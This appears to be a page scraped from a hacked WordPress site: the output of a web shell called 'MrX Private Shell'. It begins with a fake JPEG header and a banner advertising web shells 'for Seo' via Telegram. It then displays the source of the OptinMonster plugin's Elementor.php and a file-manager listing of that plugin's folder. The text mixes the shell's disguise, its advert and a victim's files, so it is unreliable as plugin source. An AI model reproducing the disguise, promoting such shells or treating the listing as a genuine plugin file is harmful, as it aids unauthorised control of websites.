����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Elementor class.
*
* @since 2.2.0
*
* @package OMAPI
* @author Justin Sternberg
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* The Elementor class.
*
* @since 2.2.0
*/
class OMAPI_Elementor {
/**
* Holds the class object.
*
* @since 1.7.0
*
* @var object
*/
public static $instance;
/**
* Path to the file.
*
* @since 1.7.0
*
* @var string
*/
public $file = __FILE__;
/**
* Holds the base class object.
*
* @since 1.7.0
*
* @var object
*/
public $base;
/**
* The minimum Elementor version required.
*
* @since 2.11.2
*
* @var string
*/
const MINIMUM_VERSION = '3.1.0';
/**
* Primary class constructor.
*
* @since 1.7.0
*/
public function __construct() {
// Set our object.
$this->set();
// Skip if Elementor is not available.
if ( ! class_exists( '\Elementor\Plugin' ) ) {
return;
}
// Check if Elementor is the minimum version.
if ( ! self::is_minimum_version() ) {
return;
}
add_action( 'elementor/editor/after_enqueue_styles', array( $this, 'editor_assets' ) );
add_action( 'elementor/widgets/widgets_registered', array( $this, 'register_widget' ), 999 );
add_action( 'optin_monster_should_set_campaigns_as_preview', array( $this, 'maybe_set_campaigns_as_preview' ) );
add_action( 'optin_monster_display_media_button', array( $this, 'maybe_show_campaign_button' ), 10, 2 );
}
/**
* Sets our object instance and base class instance.
*
* @since 1.7.0
*/
public function set() {
self::$instance = $this;
$this->base = OMAPI::get_instance();
}
/**
* Load an integration css in the elementor document.
*
* @since 2.2.0
*/
public function editor_assets() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( empty( $_GET['action'] ) || 'elementor' !== $_GET['action'] ) {
return;
}
$css_handle = $this->base->plugin_slug . '-elementor-admin';
wp_enqueue_style(
$css_handle,
$this->base->url . 'assets/dist/css/elementor-admin.min.css',
array(),
$this->base->asset_version()
);
$this->maybe_enqueue_dark_mode( $css_handle );
}
/**
* Handle enqueueing the dark-mode css. Will be conditionally displayed based on the UI setting.
*
* We have to do this until Elementor has better handling for dark-mode via a body class
*
* @see https://github.com/elementor/elementor/issues/13419
*
* @since 2.2.0
*
* @param string $css_handle Non-dark mode handle.
*
* @return bool|string
*/
protected function maybe_enqueue_dark_mode( $css_handle ) {
$ui_theme = \Elementor\Core\Settings\Manager::get_settings_managers( 'editorPreferences' )->get_model()->get_settings( 'ui_theme' );
if ( 'light' === $ui_theme ) {
return false;
}
$ui_theme_media_queries = 'auto' === $ui_theme
? '(prefers-color-scheme: dark)'
: 'all';
wp_enqueue_style(
$css_handle . '-dark-mode',
$this->base->url . 'assets/dist/css/elementor-admin-dark.min.css',
array( $css_handle ),
$this->base->asset_version(),
$ui_theme_media_queries
);
}
/**
* Return the Elementor versions string.
*
* @since 2.11.2
*
* @return string
*/
public static function version() {
return defined( 'ELEMENTOR_VERSION' ) ? ELEMENTOR_VERSION : '0.0.0';
}
/**
* Determines if the passed version string passes the operator compare
* against the currently installed version of Elementor.
*
* Defaults to checking if the current Elementor version is greater than
* the passed version.
*
* @since 2.11.2
*
* @param string $version The version to check.
* @param string $operator The operator to use for comparison.
*
* @return string
*/
public static function version_compare( $version = '', $operator = '>=' ) {
return version_compare( self::version(), $version, $operator );
}
/**
* Determines if the current Elementor version meets the minimum version
* requirement.
*
* @since 2.11.2
*
* @return boolean
*/
public static function is_minimum_version() {
return self::version_compare( self::MINIMUM_VERSION );
}
/**
* Register WPForms Widget.
*
* @since 2.2.0
*
* @param \Elementor\Widgets_Manager $widget_manager Elementor widget manager object.
*/
public function register_widget( $widget_manager ) {
$widget_manager->register_widget_type( new OMAPI_Elementor_Widget() );
// We need to override the button widget with our extended version.
$widget_manager->register_widget_type( new OMAPI_Elementor_ButtonWidget() );
}
/**
* Set the preview flag if in the elementor preview mode.
*
* @since 2.2.0
*
* @param bool $is_preview Whether we're currently in preview mode.
*
* @return bool Whether we're in preview mode.
*/
public function maybe_set_campaigns_as_preview( $is_preview ) {
if ( ! $is_preview ) {
$is_preview = \Elementor\Plugin::instance()->preview->is_preview_mode();
}
return $is_preview;
}
/**
* Show the editor campaign media button if in the elementor editor.
*
* @since 2.3.0
*
* @param bool $show Whether button will show.
*
* @return bool Whether button will show.
*/
public function maybe_show_campaign_button( $show, $editor_id ) {
$edit_mode = \Elementor\Plugin::instance()->editor->is_edit_mode();
if ( $edit_mode ) {
$show = true;
add_action( 'elementor/editor/footer', array( $this->base->classicEditor, 'shortcode_modal' ) );
}
return $show;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|